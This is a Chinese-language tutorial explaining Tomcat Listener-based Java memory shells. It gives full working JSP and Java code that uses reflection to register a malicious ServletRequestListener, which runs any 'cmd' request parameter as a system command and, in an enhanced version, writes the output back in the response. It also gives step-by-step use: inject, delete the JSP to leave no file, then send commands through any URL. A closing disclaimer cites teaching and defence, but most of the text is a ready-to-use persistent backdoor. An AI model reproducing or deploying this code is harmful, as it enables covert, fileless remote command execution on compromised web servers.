Java内存马全面解析:Listener篇教学文档
1. 前言与核心概念
Java Web三大组件 是构成Java Web应用的基础,包括:
- Servlet:用于处理客户端请求并生成响应。
- Filter(过滤器):用于在请求到达Servlet之前或响应返回客户端之前进行预处理和后处理。
- Listener(监听器):本文焦点,用于监听Web应用中的事件,并在事件发生时执行特定操作。
内存马(Memory Shell) 是一种无文件落地、驻留在服务器内存中的恶意后门程序。其核心特征是难以被传统的文件扫描检测到,具有极高的隐蔽性。
本文档将深入剖析基于Listener(监听器) 的Java内存马实现原理、注入技术及命令回显解决方案。
2. Listener(监听器)详解
2.1 监听器类型
Listener主要用于监听三大域对象(ServletContext, HttpSession, ServletRequest)的生命周期和属性变化。
按监听对象划分:
- ServletContext监听器:监听应用上下文的创建、销毁及属性变化。
- HttpSession监听器:监听用户会话的创建、销毁、激活、钝化及属性变化。
- ServletRequest监听器:监听每个请求的创建、销毁及属性变化。这是内存马的首选类型。
按监听事件划分:
- 域对象生命周期:
ServletContextListener:监听应用启动/关闭。HttpSessionListener:监听会话开始/结束。ServletRequestListener:监听每个请求的到来和结束。这是内存马的关键。
- 域对象属性变化:
ServletContextAttributeListenerHttpSessionAttributeListenerServletRequestAttributeListener- (这些在属性被增删改时触发,不适合拦截所有请求)
- Session中对象绑定:
HttpSessionBindingListenerHttpSessionActivationListener- (需要对象实现特定接口,不适合作为通用内存马)
2.2 为什么选择ServletRequestListener作为内存马?
- 拦截所有请求:
requestInitialized方法在每个请求到来时都会触发,确保了后门的高覆盖性,不会漏掉任何攻击流量。 - 交互性强:可以直接从
ServletRequestEvent中获取请求对象(ServletRequest),从而读取攻击者传递的参数(如命令cmd)。 - 灵活性强:具备操作响应(
ServletResponse)的潜力,支持复杂的命令执行、结果回传等操作。
3. 正常Listener的工作流程与内存马注入原理
3.1 正常Listener的定义与注册
-
定义Listener:创建一个类实现
ServletRequestListener接口,并重写requestInitialized和requestDestroyed方法。package com.ex; import javax.servlet.*; import java.io.IOException; public class firstListener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { ServletRequest req = sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); // 执行命令 } catch (IOException e) { e.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) {} } -
注册Listener:在
web.xml中配置。<listener> <listener-class>com.ex.firstListener</listener-class> </listener>
3.2 Listener的加载与执行链分析(核心)
内存马的注入依赖于对Tomcat底层架构的理解。关键对象是 StandardContext。
- 事件触发:当HTTP请求到达时,Tomcat会触发
ServletRequestListener的requestInitialized方法。 - 调用源:调用逻辑位于
org.apache.catalina.core.StandardContext类的方法中。 - Listener实例来源:
StandardContext从一个Object[] instances数组中获取所有Listener实例。 - 数组来源:
instances数组通过getApplicationEventListeners()方法获得,该方法返回的是applicationEventListenersList.toArray()。 - 核心集合:
applicationEventListenersList是StandardContext的一个关键私有属性,其定义如下:
这个private final List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();List<Object>集合存放了所有应用级的事件监听器对象。 - 添加Listener的方法:
StandardContext类提供了addApplicationEventListener(Object listener)方法,该方法的作用就是向applicationEventListenersList集合中添加一个新的监听器对象。 - 调用链追溯:
addApplicationEventListener方法会被StandardContext的addListener(T t)方法调用,后者又会被ApplicationContext和ApplicationContextFacade(即ServletContext的实现)的相关方法调用。最终,在Web应用中调用ServletContext.addListener()就会完成这个链条。
小结:内存马注入的本质就是,在运行时获取当前Web应用的 StandardContext 对象,然后调用其 addApplicationEventListener 方法,将我们精心构造的恶意Listener对象动态地添加到 applicationEventListenersList 中。 这样,这个恶意Listener就会成为应用的一部分,参与所有后续的请求处理。
4. Listener内存马的构造与注入
4.1 基础内存马构造(无回显)
假设攻击者已经通过文件上传等方式将一个JSP Webshell传到了服务器上。
listenerShell.jsp 注入代码:
<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, javax.servlet.*" %>
<%!
// 1. 定义恶意Listener类
public class firstListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd); // 执行系统命令(无回显)
} catch (Exception e) { }
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
}
%>
<%
try {
// 2. 获取StandardContext对象(核心步骤)
// 2.1 获取ApplicationContextFacade (即 ServletContext)
ServletContext sc = request.getServletContext();
// 2.2 反射获取第一层:ApplicationContext
Field ctxField = sc.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) ctxField.get(sc);
// 2.3 反射获取第二层:StandardContext
Field appCtxField = appCtx.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
StandardContext standardCtx = (StandardContext) appCtxField.get(appCtx);
// 3. 注入恶意Listener
standardCtx.addApplicationEventListener(new firstListener());
out.println("Listener Memory Shell Injected Successfully!");
} catch (Exception e) {
e.printStackTrace();
}
%>
利用流程:
- 访问
http://target.com/path/listenerShell.jsp,页面输出 "注入成功"。 - 删除
listenerShell.jsp文件,实现无文件落地。 - 访问任意存在的URL并携带
cmd参数,如http://target.com/anypage.jsp?cmd=calc.exe,系统命令(如打开计算器)将会在服务器上执行。由于没有处理响应,执行结果不会显示在页面上。
4.2 解决命令回显问题
无回显的内存马实用性低。为了实现回显,需要在恶意Listener中获取 HttpServletResponse 对象,并将命令执行结果写入其中。
关键技术点: 从 ServletRequestEvent 中获取 Response 对象。
sre.getServletRequest()返回的是一个包装器对象(如RequestFacade)。- 其内部有一个私有属性
request,指向底层的org.apache.catalina.connector.Request对象。 Request对象中有一个response属性,指向对应的Response对象。- 需要通过反射来逐层获取这些私有属性。
增强版 firstListener 类(带回显):
public class firstListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
// 使用反射获取Response对象
Field reqField = req.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object realRequest = reqField.get(req); // 获取底层Request对象
Field resField = realRequest.getClass().getDeclaredField("response");
resField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) resField.get(realRequest); // 获取Response
// 设置响应头
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
// 执行命令并读取输出
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = process.getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 将结果写回客户端
out.println(result);
out.flush();
out.close();
} catch (Exception e) { /* 错误处理 */ }
}
}
// ... requestDestroyed ...
}
将上述增强版类替换到 listenerShell.jsp 中原来的类定义部分。注入后,访问任何URL带 cmd 参数,命令执行的结果将会完整地显示在浏览器中。
注意: 为了成功回显,访问的URL最好是一个真实存在的路径,否则可能会被容器优先返回的404等错误页面覆盖命令回显。
5. 总结与对比
| 特性 | Servlet内存马 | Filter内存马 | Listener内存马 |
|---|---|---|---|
| 触发方式 | 访问特定URL路径 | 拦截匹配的URL模式 | 拦截所有请求 |
| 灵活性 | 路径固定,需记忆 | 可定义过滤路径,灵活 | 全局触发,无需配置路径 |
| 隐蔽性 | 中等 | 高(可伪装为正常Filter) | 极高(与请求URL无关) |
| 适用场景 | 作为专用后门入口 | 最常用,功能全面 | 持久化驻留,深度隐藏 |
最终结论:
Listener内存马的成功注入,根本在于动态修改了Tomcat核心组件 StandardContext 所维护的监听器列表。通过反射技术获取运行时上下文,并将恶意代码作为合法组件注册,实现了无文件、高隐蔽性的持久化控制。它是Web安全领域中一种高级、危险的攻击技术,防御者需要深入理解其原理才能进行有效的检测和防护。
免责声明: 本文档内容仅用于安全教学和技术研究目的,旨在提升防御能力。使用者应严格遵守《中华人民共和国网络安全法》及相关法律法规,任何非法用途产生的后果由使用者自行承担。